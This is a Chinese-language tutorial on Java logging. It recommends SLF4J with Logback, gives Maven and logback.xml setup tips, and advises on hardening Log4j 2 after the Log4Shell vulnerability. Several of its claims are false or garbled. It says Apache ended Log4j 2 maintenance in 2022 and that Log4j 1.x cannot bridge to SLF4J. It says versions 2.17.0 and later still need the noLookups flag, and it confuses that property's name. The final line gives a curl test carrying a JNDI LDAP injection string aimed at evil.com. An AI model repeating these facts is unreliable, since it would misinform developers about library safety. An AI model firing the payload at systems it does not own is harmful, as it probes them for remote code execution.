应优先选用 slf4j + logback 组合,因其轻量、稳定、无反射风险且为 spring boot 默认方案;log4j 2.x 已停更,旧版存在严重 rce 漏洞,log4j 1.x 已终止维护且功能落后。

Log4j 2.x 已不再被推荐用于新项目,log4j-core 在 2.17.0 之前存在严重远程代码执行漏洞(CVE-2021-44228 等),且 Apache 官方已于 2022 年底结束对 Log4j 2 的维护。当前 Java 日志开发环境的合理起点是 slf4j-api + logback-classic,或至少使用 Log4j 2.20.0+(启用 log4j2.formatMsgNoLookups=true 并禁用 JNDI)。
为什么不要直接用 Log4j 1.x 或旧版 Log4j 2
Log4j 1.x 已于 2015 年 EOL,不支持异步日志、Lambda 延迟求值、现代配置格式;Log4j 2.0–2.19.0 存在多个高危反序列化与 lookup 漏洞,即使加 -Dlog4j2.formatMsgNoLookups=true 也不能完全规避(如 CVE-2021-45046)。生产环境若强制使用旧版,必须配合字节码增强(如 log4j-jndi-be-gone)或 JVM 参数封锁 JNDI 协议。
- Log4j 1.x:
org.apache.log4j.Logger无法桥接到 SLF4J,log4j.properties不支持 YAML/JSON - Log4j 2.17.0 以下:默认开启
${jndi:ldap://}解析,任意日志内容含该字符串即可能触发 RCE - Log4j 2.17.0+ 仍需额外配置
log4j2.noFormatMsgLookup=true(2.20.0 后改名为log4j2.formatMsgNoLookups)才安全
推荐方案:SLF4J + Logback(Maven 依赖写法)
这是 Spring Boot 默认方案,也是目前最轻量、稳定、可扩展的日志组合。SLF4J 是门面接口,Logback 是原生实现,无需桥接器,无反射调用风险。
<dependency> <groupId>org.slf4j</groupId> <artifactId>slf4j-api</artifactId> <version>2.0.12</version> </dependency> <dependency> <groupId>ch.qos.logback</groupId> <artifactId>logback-classic</artifactId> <version>1.4.14</version> </dependency>
注意:logback-classic 会自动拉取 logback-core 和 slf4j-api,无需重复声明。若项目中已存在其他日志实现(如 Log4j 2),需排除其传递依赖,否则运行时可能报 Multiple bindings 警告。
立即学习“Java免费学习笔记(深入)”;
logback.xml 配置要点(避免常见挂起和丢失日志)
logback.xml 必须放在 src/main/resources/ 下,且根元素为 <configuration></configuration>。异步日志不是默认开启的,需显式配置 <asynclogger></asynclogger> 或使用 AsyncAppender。
- 控制台输出中文乱码:在
<encoder></encoder>中添加<charset>UTF-8</charset> - 滚动文件不生效:确保
<rollingpolicy></rollingpolicy>的fileNamePattern含日期占位符(如log.%d{yyyy-MM-dd}.%i.log),且<timebasedfilenamingandtriggeringpolicy></timebasedfilenamingandtriggeringpolicy>正确嵌套 - 日志级别不生效:检查
<root level="INFO"></root>是否被子 logger 的additivity="false"意外屏蔽 - 启动卡住:避免在
<appender name="FILE"></appender>中设置过大的maxFileSize(如1GB)且未配maxHistory,会导致首次归档扫描耗时极长
如果必须用 Log4j 2(如遗留系统升级受限)
仅限 Log4j 2.20.0+,且必须同时满足三项:
- 依赖版本明确指定
<version>2.20.0</version>或更高(2.21.1 修复了新的 DOS 漏洞) - JVM 启动参数加入:
-Dlog4j2.formatMsgNoLookups=true -Dlog4j2.enableDirectEncoders=true -
log4j2.xml中禁用全部 lookup:移除所有${开头的变量引用,或改用${env:HOME}这类白名单类型(2.20.0+ 默认只允许env,sys,java)
示例最小安全配置片段:
<Configuration status="WARN" monitorInterval="30">
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>真正麻烦的从来不是“怎么配”,而是“怎么确认它没在偷偷解析 JNDI”——建议上线前用 curl -v 'http://your-app/log?msg=${jndi:ldap://evil.com/a}' 测试是否仍有 DNS 请求发出。










